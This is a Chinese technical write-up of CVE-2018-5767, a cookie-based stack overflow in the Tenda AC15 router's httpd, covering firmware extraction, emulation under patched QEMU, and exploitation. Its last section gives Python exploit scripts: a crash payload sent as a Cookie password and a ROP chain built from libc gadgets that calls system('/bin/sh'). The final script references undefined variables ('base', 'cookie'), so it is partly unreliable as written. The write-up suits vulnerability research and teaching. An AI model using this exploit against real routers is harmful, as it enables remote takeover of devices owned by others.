分析
cve-2018-5767位置在bin/httpd中。首先下载该固件,链接如下:
1
|
https:
/
/
drivers.softpedia.com
/
get
/
Router
-
Switch
-
Access
-
Point
/
Tenda
/
Tenda
-
AC15
-
Router
-
Firmware
-
1503116.shtml
|
下载过后使用binwalk大概判断一下该固件是否进行了加密:
1
2
|
binwalk
-
A US_AC15V1.
0BR_V15
.
03.1
.
16_multi_TD01
.
bin
binwalk
-
M US_AC15V1.
0BR_V15
.
03.1
.
16_multi_TD01
.
bin
|
如果上面的指令可以分析出固件的架构等一些信息,那么这个固件基本就不会是加密的,也可以使用010editor看一下,如果一堆乱码没有可见字符,那么大概率是加密了。使用binwalk直接解包:
1
|
binwalk
-
Me US_AC15V1.
0BR_V15
.
03.1
.
16_multi_TD01
.
bin
|
使用file命令和checksec命令检查一下httpd:
可以看到httpd是一个ARM架构的32位小端序程序,除了NX保护以为其他的所有都没有开。
导致cve-2018-5767的函数是httpd中的 R7WebSceurityHandler函数,在R7WebSceurityHandler函数中有一段代码如下:
可以看到sscanf中的格式字符串是一个类似正则表达式的字符串:
1
2
3
|
%
*
[^
=
]
=
%
[^;];
*
%
*
代表过滤也就是前面的都不要
=
%
[^;];
*
这部分表示
=
号后分号前的内容
|
也就是说这里就是去password的值,如果没有password的话,就把a1+184处第一个=后面的值赋值给v34,这本身没有什么问题,但是有问题的是没有对这个获取到的字符串进行长度的验证,因为v34只有128字节,通过IDA静态的看R7WebsSecurityHandler的栈,v34这个数组距离栈底也只有448字节,这很容易就溢出了,从而被控制PC寄存器导致被控制执行流。但是想要执行到这一步还需要满足程序的一些条件:
可以看到有很多条件”
- 前8个字节不能是"/public/"、前6个字节不能是"/lang/"、前12字节不能是"/favicon.ico"、前10字节不能是"/kns-query"、前11个字节不能是"/wdinfo.php"、前20字节不能是"/goform/fast_setting"、前11字节不能是"/goform/ate"、前19字节不能是"/goform/InsertWhite"、前15字节不能是"/yun_safe.html"、前27字节不能是"/goform/getWanConnectStatus"、前18字节不能是"/goform/getProduct"、前25字节不能是"/goform/getRebootStatus"
- 不能包含"img/main-logo.png"、"reasy-ui-1.0.3.js"、
- (_DWORD )(a1 + 152)处必须存在,不能为空
- s1的长度不能是1或者第一个字符的十进制形式不能是47也就是"/"
- 前15字节不是"/goform/telnet"或者g_Pass存在并且不等于字符串"YWRtaW4="
- i <=2或者前15字节不是"/loginerr.html"
- 前11个字节不是"/index.html",不进入if语句
满足上面的条件即可进入内部。那么只需要去构造一个满足上面条件的url就可以了,比如""/gorform/exec"
固件模拟
使用qemu把httpd模拟起来,看看其运行起来会输出什么、监听哪些端口等,把qemu的qemu-arm-static复制到squashfs-root目录下,执行以下命令:
1
|
sudo chroot . .
/
qemu
-
arm
-
static .
/
bin
/
httpd
|
模拟结果如下图;
好像是卡住了。去IDA中看一下这里是怎么回事,输出完这个字符串后会进入一个循环,如下图:
从图中可以看出,如果check_network(v18) <= 0成立的话,这里就会是一个死循环,从这个函数的名字来看可能是检查网络的,因为模拟的时候没有给qemu设置网络,所以这个函数如果网络检查不过的话就会返回小于等于0的数让程序无限循环,直到网络检测通过。因此要解决这个循环有两种方法:
- patch程序,把这个地方的检查改掉。
- 为qemu设置网络。
这里的汇编代码如下图:
根据上面的汇编代码有两种改法:
- 修改check_network函数的返回值,即把MOV R3, R0改掉,把R0改为一个立即数,这个立即数大于0即可。
- 修改BGT指令,BGT指令是大于跳转,那么把这个指令改为小于跳转(BLE)即可。
这里用第二中方法,edit->Patch program->change byte:
把前四字节转为ARM指令后:
可以看出来是根据偏移跳转到了距离0x10出的0x2CFA8的位置,那么把bgt改为ble,然后把16进制码按照小端序的方式替换掉前四字节,然后确定,可以看到BGT指令已经替换为了BLE指令:
然后edit->Patch program->Apply patches to into file保存patch到文件中,然后替换没有patch的程序,然后再次模拟:
又报错了,伪代码中使用ConnectCfm函数进行了检查:
如果检查不通过则:
因此这里把他patch掉就好了,跟上面一样,两种方法都可以,这次修改传入R3寄存器的值为立即数1:
然后把patch保存到程序中,再次仿真模拟:
已经不再报错了,但是监听的IP错了,Google了一下貌似是得设置成桥接,如下:
1
2
3
4
5
6
|
sudo apt install uml
-
utilities bridge
-
utils
sudo brctl addbr br0
sudo brctl addif br0 ens32
sudo ifconfig br0 up
sudo dhclient br0
chroot .
/
.
/
qemu
-
arm
-
static .
/
bin
/
httpd
|
执行完上面的命令后就设置好桥接的网络了,但是如果直接用打过第一个patch的程序是会无限循环的,因为已经设置了网络了不需要那个patch,所以这里的程序是没有打第一个patch但是打了第二个patch的程序。模拟结果:
可以看到正常监听端口并且监听了正确的IP,访问这个URL:
可以正常访问,到此httpd程序成功仿真模拟。
漏洞利用
在R7WebSceurityHandler的伪代码中如下:
上图画线的地方是cookie的位置,因此需要构造cookie字段那种的password,然后下面有检查了是否有gif、png、js等字符,否则就会进入if语句,这里不需要进去,先使用qemu启动起来,使用gdb调试,如下命令:
1
2
3
4
5
6
|
sudo chroot .
/
.
/
qemu
-
arm
-
static
-
g
9999
.
/
bin
/
httpd
gdb
-
multiarch
-
q
set
endian little
set
architecture arm
target remote
127.0
.
0.1
:
9999
c
|
构造代码,这里:
1
2
3
4
5
6
7
8
9
10
11
|
from
pwn
import
*
import
requests
context.arch
=
'arm'
payload
=
str
(cyclic(
500
),
'utf-8'
)
+
'.pngbbbb'
url
=
"http://192.168.153.128:81/goform/exec"
headers
=
{
'Cookie'
:
"password="
+
payload}
requests.get(url
=
url, headers
=
headers)
|
运行代码,gdb中的PC寄存器的值如下:
从图中可以看到PC寄存器的值被改为了0x6561616c,即laae,使用pwntools中的cyclic_find函数查找:
可见偏移是444字节。确定了偏移,那么现在就可以ROP了,因为libc每次加载时会有一个偏移,在真实环境中这个偏移地址是可以爆破的,得到libc的地址后libc加载的基地址加上libc中函数的地址得到想要执行的函数的地址,然后用到了两个gadget:
1
2
3
4
5
6
|
ROPgadget
-
-
binary .
/
lib
/
libc.so.
0
-
-
only
"mov|blx"
| grep
"mov r0, sp"
mov r0, sp;
blx r3;
ROPgadget
-
-
binary .
/
lib
/
libc.so.
0
-
-
only
"pop"
| grep
"pop {r3, pc}"
pop {r3, pc};
|
那么现在需要确定libc加载的基地址,使用vmmap命令可以查看libc的基地址,好像调试也可以获取,第一个gadget是将sp放入到r0中,即传入一个参数,然后使用blx调用r3中的函数,第二个gadget为将PC寄存器的地址弹入r3寄存器当中。代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
import
requests
from
pwn
import
*
context.arch
=
'arm'
context.log_level
=
'debug'
libc_base
=
0x409af000
libc
=
ELF(
'./lib/libc.so.0'
)
system_addr
=
base
+
libc.sym[
'system'
]
str1
=
b
"/bin/sh\x00"
mov_r0_addr
=
libc_base
+
0x00040cb8
pop_r3_addr
=
libc_base
+
0x00018298
url
=
"http://192.168.153.128:81/goform/exec"
payload
=
b
'a'
*
444
+
b
".gif"
+
p32(pop_r3_addr)
+
p32(system_addr)
+
p32(mov_r0_addr)
+
str1
headers
=
{
"Cookie"
: b
"password="
+
payload}
requests.get(url
=
url, cookies
=
cookie)
|
参考
https://xz.aliyun.com/t/7357
https://www.freebuf.com/articles/wireless/166869.html